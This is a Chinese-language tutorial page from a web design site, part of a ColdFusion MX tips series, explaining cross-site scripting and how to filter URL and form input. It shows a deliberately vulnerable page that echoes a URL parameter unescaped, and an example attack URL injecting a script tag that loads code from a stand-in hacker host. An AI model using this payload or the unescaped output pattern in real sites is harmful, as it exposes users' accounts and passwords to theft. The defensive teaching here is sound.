您的位置: 首页 > 技术文档 > 网络编程 > Coldfusion MX技巧精华收集(2)
多层企业应用:J2EE应用服务器 回到列表 Coldfusion MX技巧精华收集(1)
 Coldfusion MX技巧精华收集(2)

作者:整理 时间: 2003-04-27 文档类型:原创 来自:

第 1 页 Coldfusion MX技巧精华收集(2)
第 2 页 使用自订卷标来设定版面配置
第 3 页 保护页面不受跨网站(cross-site)程序攻击
第 4 页 使用 Fusebox
第 5 页 新增站台与setDefaultGatewayUrl()?
第 6 页 Flash Communication Server相关

保护页面不受跨网站(cross-site)程序攻击
作者: Kyle 2/16/03

内容:

保护页面不受跨网站(cross-site)程序攻击
跨网站程序攻击是网站管理人员经常必须面对的安全性问题之一。像是 ASP,CFML 或者 PHP 这类的应用程序服务器,由于它们与生俱来的动态功能特性,使得它们特别容易受到这一类的攻击。很多时候你的程序都会把某些信息从某个页面传送到另一个页面,将资料储存到数据库中,或者将窗体或 URL 参数接收到的变量值显示在页面上。虽然能够在不同页面之间传递资料看起来是一个优点,但是如果你不够小心的话,这项特性也会同时带来严重的安全性问题。举例来说,请看看下面这个超链接以及相对应的目标页面显示的结果:

<!--- 下面是你某个页面中的超链接 --->
<A HREF="nextpage.cfm?username=Brian">请按这里</A>
<!--- 下面是 nextpage.cfm 所显示的内容 --->
<CFOUTPUT>
欢迎来到下一页,#URL.UserName#。
</CFOUTPUT>

看起来够简单了吧?上面这个超级链接纯粹把使用者名称从一个页面传递到另一个页面去(nextpage.cfm),如果你不够小心的话,这正是问题可能发生的地方。跨网站程序(cross-site scripting)基本上便是欺骗你的 Web 服务器,让它在未预期的的情况下执行其它网站上面的程序,JavaScript,Java applet 或者 ActiveX 控件。

如果你观察上面这个例子的目标页面的 URL,它看起来会是下面这样:

http://www.mysite.com/nextpage.cfm?username=Brian
某位不怀好意的使用者可以自己输入一个 URL,里面包含一个连向另一部服务器上面的程序的连结,就像下面这样:

http://www.mysite.com/nextpage.cfm?username=<script src="http://www.hackersite.com/nastyscript.js">
当 ColdFusion 在下一个页面输出上面的 URL 所传过来的变量的时候,输出结果看起来变成下面这样:

欢迎来到下一页,<script src="http://www.hackersite.com/nastyscript.js">。
这个变量会让你那无辜的页面在你未预期的状况下执行对方指定的 JavaScript 程序代码。利用类似的方式,对方也可以在 URL 里面指定恶意的 ActiveX 控件或者 JavaApplet。当然,在这个例子里面,使用者仅是在浏览器上面执行他们自己指定的程序而已,但如果这些恶意程序代码被你自己的程序不小心储存起来并且之后又输出到其它使用者的画面上(例如捣乱者将某些 JavaScript 程序代码输入在你的讨论区发表文章窗体里面,然后你的程序在不知情的状况下把这些程序代码当成发言内容的一部份存入数据库中,那么其它使用者观看到这篇文章的时候,那些被刻意放入的 JavaScript,Java Applet 或者 ActiveX 控件便会在其它使用者的浏览器上面执行了),这时候那些程序就可能足以将其它使用者的帐号,密码或者其它敏感资料暗中传送到某个地方去。这项安全性问题并非 ColdFusion 才会发生的状况,任何应用程序服务器,只要它能够接收从 URL 或者窗体传送过来的资料并且显示在使用者画面上,都有可能受到这类攻击。

幸运的是,要避免这种状况发生并不困难。你要做的工作是过滤来自 URL 或者窗体传送过来的资料,并且将一些特殊的危险字符,例如 < 或者 >(大于和小于符号),把他们替换成相对应的 ASCII 字符码形式(例如将 < 替换成 &lt;)就可以了。事实上 Allaire 公司提供了一个 CF_InputFilter 自订卷标,你可以将它用在你的 application.cfm 档案里面,它可以替你处理相关的特殊字符过滤工作。如果你需要更完整的关于这项议题的资料,请参考「Allaire 安全问题布告栏」网站上面的这篇文章(ASB00-05)。

出处:
责任编辑:蓝色

上一页 使用自订卷标来设定版面配置 下一页 使用 Fusebox

◎进入论坛网络编程版块参加讨论

作者文章
Coldfusion MX技巧精华收集(1)
关键字搜索 常规搜索 推荐文档
热门搜索:CSS Fireworks 设计比赛 网页制作 web标准 用户体验 UE photoshop Dreamweaver Studio8 Flash 手绘 CG
站点最新 站点最新列表
周大福“敬•自然”设计大赛开启
国际体验设计大会7月将在京举行
中国国防科技信息中心标志征集
云计算如何让安全问题可控
云计算是多数企业唯一拥抱互联网的机会
阿里行云
云手机年终巨献,送礼标配299起
阿里巴巴CTO王坚的"云和互联网观"
1499元买真八核 云OS双蛋大促
首届COCO桌面手机主题设计大赛
栏目最新 栏目最新列表
浅谈JavaScript编程语言的编码规范
如何在illustrator中绘制台历
Ps简单绘制一个可爱的铅笔图标
数据同步算法研究
用ps作简单的作品展示页面
CSS定位机制之一:普通流
25个最佳最闪亮的Eclipse开发项目
Illustrator中制作针线缝制文字效果
Photoshop制作印刷凹凸字体
VS2010中创建自定义SQL Rule
>> 分页 首页 前页 后页 尾页 页次:3/61个记录/页 转到 页 共6个记录

蓝色理想版权申明:除部分特别声明不要转载,或者授权我站独家播发的文章外,大家可以自由转载我站点的原创文章,但原作者和来自我站的链接必须保留(非我站原创的,按照原来自一节,自行链接)。文章版权归我站和作者共有。

转载要求:转载之图片、文件,链接请不要盗链到本站,且不准打上各自站点的水印,亦不能抹去我站点水印。

特别注意:本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有,文章若有侵犯作者版权,请与我们联系,我们将立即删除修改。

您的评论
用户名:  口令:
说明:输入正确的用户名和密码才能参与评论。如果您不是本站会员,你可以注册 为本站会员。
注意:文章中的链接、内容等需要修改的错误,请用报告错误,以利文档及时修改。
不评分 1 2 3 4 5
注意:请不要在评论中含与内容无关的广告链接,违者封ID
请您注意:
·不良评论请用报告管理员,以利管理员及时删除。
·尊重网上道德,遵守中华人民共和国的各项有关法律法规
·承担一切因您的行为而直接或间接导致的民事或刑事法律责任
·本站评论管理人员有权保留或删除其管辖评论中的任意内容
·您在本站发表的作品,本站有权在网站内转载或引用
·参与本评论即表明您已经阅读并接受上述条款
推荐文档 | 打印文档 | 评论文档 | 报告错误  
专业书推荐 更多内容
网站可用性测试及优化指南
《写给大家看的色彩书1》
《跟我去香港》
众妙之门—网站UI 设计之道
《Flex 4.0 RIA开发宝典》
《赢在设计》
犀利开发—jQuery内核详解与实践
作品集 更多内容

杂⑦杂⑧ Gold NORMANA V2